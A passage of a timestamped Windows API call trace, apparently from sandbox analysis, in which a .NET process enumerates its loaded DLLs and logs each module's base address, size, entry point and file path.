lpmodinfo=0x237c2e8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0229.340] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.340] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0229.341] CoTaskMemFree (pv=0x4fb3308) [0229.341] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.341] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0229.341] CoTaskMemFree (pv=0x4fb3308) [0229.341] GetModuleInformation (in: hProcess=0x280, hModule=0x75e10000, lpmodinfo=0x237e3ec, cb=0xc | out: lpmodinfo=0x237e3ec*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0229.341] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.342] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0229.342] CoTaskMemFree (pv=0x4fb3308) [0229.342] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.342] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0229.342] CoTaskMemFree (pv=0x4fb3308) [0229.342] GetModuleInformation (in: hProcess=0x280, hModule=0x772c0000, lpmodinfo=0x23804f8, cb=0xc | out: lpmodinfo=0x23804f8*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0229.343] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.343] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0229.343] CoTaskMemFree (pv=0x4fb3308) [0229.343] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.343] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0229.344] CoTaskMemFree (pv=0x4fb3308) [0229.344] GetModuleInformation (in: hProcess=0x280, hModule=0x75a30000, lpmodinfo=0x23825f4, cb=0xc | out: lpmodinfo=0x23825f4*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0229.344] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.344] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0229.345] CoTaskMemFree (pv=0x4fb3308) [0229.345] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.345] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0229.345] CoTaskMemFree (pv=0x4fb3308) [0229.345] GetModuleInformation (in: hProcess=0x280, hModule=0x75ae0000, lpmodinfo=0x2384784, cb=0xc | out: lpmodinfo=0x2384784*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0229.345] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.345] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0229.346] CoTaskMemFree (pv=0x4fb3308) [0229.346] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.346] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0229.346] CoTaskMemFree (pv=0x4fb3308) [0229.346] GetModuleInformation (in: hProcess=0x280, hModule=0x75be0000, lpmodinfo=0x2386888, cb=0xc | out: lpmodinfo=0x2386888*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0229.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.347] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0229.347] CoTaskMemFree (pv=0x4fb3308) [0229.347] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.347] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0229.348] CoTaskMemFree (pv=0x4fb3308) [0229.348] GetModuleInformation (in: hProcess=0x280, hModule=0x73610000, lpmodinfo=0x238898c, cb=0xc | out: lpmodinfo=0x238898c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0229.348] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.348] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0229.349] CoTaskMemFree (pv=0x4fb3308) [0229.349] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.349] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0229.349] CoTaskMemFree (pv=0x4fb3308) [0229.349] GetModuleInformation (in: hProcess=0x280, hModule=0x72f40000, lpmodinfo=0x238aa98, cb=0xc | out: lpmodinfo=0x238aa98*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0229.350] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.350] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0229.350] CoTaskMemFree (pv=0x4fb3308) [0229.350] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.350] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0229.351] CoTaskMemFree (pv=0x4fb3308) [0229.351] GetModuleInformation (in: hProcess=0x280, hModule=0x75540000, lpmodinfo=0x238cbc8, cb=0xc | out: lpmodinfo=0x238cbc8*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0229.351] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.351] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0229.352] CoTaskMemFree (pv=0x4fb3308) [0229.352] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.352] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0229.352] CoTaskMemFree (pv=0x4fb3308) [0229.353] GetModuleInformation (in: hProcess=0x280, hModule=0x74310000, lpmodinfo=0x238ecfc, cb=0xc | out: lpmodinfo=0x238ecfc*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0229.353] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.353] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0229.354] CoTaskMemFree (pv=0x4fb3308) [0229.354] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.354] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0229.354] CoTaskMemFree (pv=0x4fb3308) [0229.354] GetModuleInformation (in: hProcess=0x280, hModule=0x77060000, lpmodinfo=0x2390ea4, cb=0xc | out: lpmodinfo=0x2390ea4*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0229.355] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.355] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0229.355] CoTaskMemFree (pv=0x4fb3308) [0229.355] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.356] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0229.356] CoTaskMemFree (pv=0x4fb3308) [0229.356] GetModuleInformation (in: hProcess=0x280, hModule=0x73e60000, lpmodinfo=0x2392fa8, cb=0xc | out: lpmodinfo=0x2392fa8*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0229.357] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.357] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0229.357] CoTaskMemFree (pv=0x4fb3308) [0229.357] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.357] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0229.358] CoTaskMemFree (pv=0x4fb3308) [0229.358] GetModuleInformation (in: hProcess=0x280, hModule=0x72590000, lpmodinfo=0x23950b4, cb=0xc | out: lpmodinfo=0x23950b4*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0229.358] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.358] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0229.359] CoTaskMemFree (pv=0x4fb3308) [0229.359] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.359] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0229.360] CoTaskMemFree (pv=0x4fb3308) [0229.360] GetModuleInformation (in: hProcess=0x280, hModule=0x71e70000, lpmodinfo=0x2397250, cb=0xc | out: lpmodinfo=0x2397250*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0229.360] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.360] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0229.361] CoTaskMemFree (pv=0x4fb3308) [0229.361] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.361] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0229.362] CoTaskMemFree (pv=0x4fb3308) [0229.362] GetModuleInformation (in: hProcess=0x280, hModule=0x73c90000, lpmodinfo=0x239940c, cb=0xc | out: lpmodinfo=0x239940c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0229.363] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.363] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0229.363] CoTaskMemFree (pv=0x4fb3308) [0229.363] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.363] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0229.364] CoTaskMemFree (pv=0x4fb3308) [0229.364] GetModuleInformation (in: hProcess=0x280, hModule=0x73f00000, lpmodinfo=0x239b600, cb=0xc | out: lpmodinfo=0x239b600*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0229.364] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.364] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0229.365] CoTaskMemFree (pv=0x4fb3308) [0229.365] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.365] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0229.365] CoTaskMemFree (pv=0x4fb3308) [0229.365] GetModuleInformation (in: hProcess=0x280, hModule=0x76e30000, lpmodinfo=0x239d740, cb=0xc | out: lpmodinfo=0x239d740*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0229.366] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.366] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0229.366] CoTaskMemFree (pv=0x4fb3308) [0229.366] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.366] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0229.367] CoTaskMemFree (pv=0x4fb3308) [0229.367] GetModuleInformation (in: hProcess=0x280, hModule=0x73b00000, lpmodinfo=0x239f854, cb=0xc | out: lpmodinfo=0x239f854*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0229.368] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.368] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0229.368] CoTaskMemFree (pv=0x4fb3308) [0229.368] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.368] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0229.369] CoTaskMemFree (pv=0x4fb3308) [0229.369] GetModuleInformation (in: hProcess=0x280, hModule=0x71210000, lpmodinfo=0x23a1a20, cb=0xc | out: lpmodinfo=0x23a1a20*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0229.369] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.369] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0229.370] CoTaskMemFree (pv=0x4fb3308) [0229.370] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.370] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0229.371] CoTaskMemFree (pv=0x4fb3308) [0229.371] GetModuleInformation (in: hProcess=0x280, hModule=0x73ee0000, lpmodinfo=0x23a3c10, cb=0xc | out: lpmodinfo=0x23a3c10*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0229.371] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.371] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0229.372] CoTaskMemFree (pv=0x4fb3308) [0229.372] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.372] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0229.373] CoTaskMemFree (pv=0x4fb3308) [0229.373] GetModuleInformation (in: hProcess=0x280, hModule=0x73ac0000, lpmodinfo=0x23a5e28, cb=0xc | out: lpmodinfo=0x23a5e28*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0229.373] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.373] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0229.374] CoTaskMemFree (pv=0x4fb3308) [0229.374] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.374] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0229.375] CoTaskMemFree (pv=0x4fb3308) [0229.375] GetModuleInformation (in: hProcess=0x280, hModule=0x73a30000, lpmodinfo=0x23a7f34, cb=0xc | out: lpmodinfo=0x23a7f34*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0229.375] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.375] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0229.376] CoTaskMemFree (pv=0x4fb3308) [0229.376] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.376] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0229.377] CoTaskMemFree (pv=0x4fb3308) [0229.377] GetModuleInformation (in: hProcess=0x280, hModule=0x73a10000, lpmodinfo=0x23aa0fc, cb=0xc | out: lpmodinfo=0x23aa0fc*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0229.378] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.378] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0229.378] CoTaskMemFree (pv=0x4fb3308) [0229.378] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.378] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0229.379] CoTaskMemFree (pv=0x4fb3308) [0229.379] GetModuleInformation (in: hProcess=0x280, hModule=0x73940000, lpmodinfo=0x23ac24c, cb=0xc | out: lpmodinfo=0x23ac24c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0229.380] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.380] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0229.381] CoTaskMemFree (pv=0x4fb3308) [0229.381] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.381] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0229.382] CoTaskMemFree (pv=0x4fb3308) [0229.382] GetModuleInformation (in: hProcess=0x280, hModule=0x71080000, lpmodinfo=0x23ae448, cb=0xc | out: lpmodinfo=0x23ae448*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0229.382] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.383] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0229.383] CoTaskMemFree (pv=0x4fb3308) [0229.383] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.383] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0229.384] CoTaskMemFree (pv=0x4fb3308) [0229.384] GetModuleInformation (in: hProcess=0x280, hModule=0x70ee0000, lpmodinfo=0x23b05f8, cb=0xc | out: lpmodinfo=0x23b05f8*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0229.385] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.385] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0229.386] CoTaskMemFree (pv=0x4fb3308) [0229.386] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.386] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0229.387] CoTaskMemFree (pv=0x4fb3308) [0229.387] GetModuleInformation (in: hProcess=0x280, hModule=0x735f0000, lpmodinfo=0x23b27c0, cb=0xc | out: lpmodinfo=0x23b27c0*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0229.387] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.387] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0229.388] CoTaskMemFree (pv=0x4fb3308) [0229.388] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.388] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0229.389] CoTaskMemFree (pv=0x4fb3308) [0229.389] GetModuleInformation (in: hProcess=0x280, hModule=0x75b40000, lpmodinfo=0x23b48cc, cb=0xc | out: lpmodinfo=0x23b48cc*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0229.390] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.390] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0229.390] CoTaskMemFree (pv=0x4fb3308) [0229.390] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.390] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0229.391] CoTaskMemFree (pv=0x4fb3308) [0229.391] GetModuleInformation (in: hProcess=0x280, hModule=0x70de0000, lpmodinfo=0x23b69d8, cb=0xc | out: lpmodinfo=0x23b69d8*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0229.392] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.392] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0229.427] CoTaskMemFree (pv=0x4fb3308) [0229.427] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.427] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0229.428] CoTaskMemFree (pv=0x4fb3308) [0229.428] GetModuleInformation (in: hProcess=0x280, hModule=0x77ae0000, lpmodinfo=0x23b8afc, cb=0xc | out: lpmodinfo=0x23b8afc*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0229.429] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.429] GetModuleBaseNameW (in: 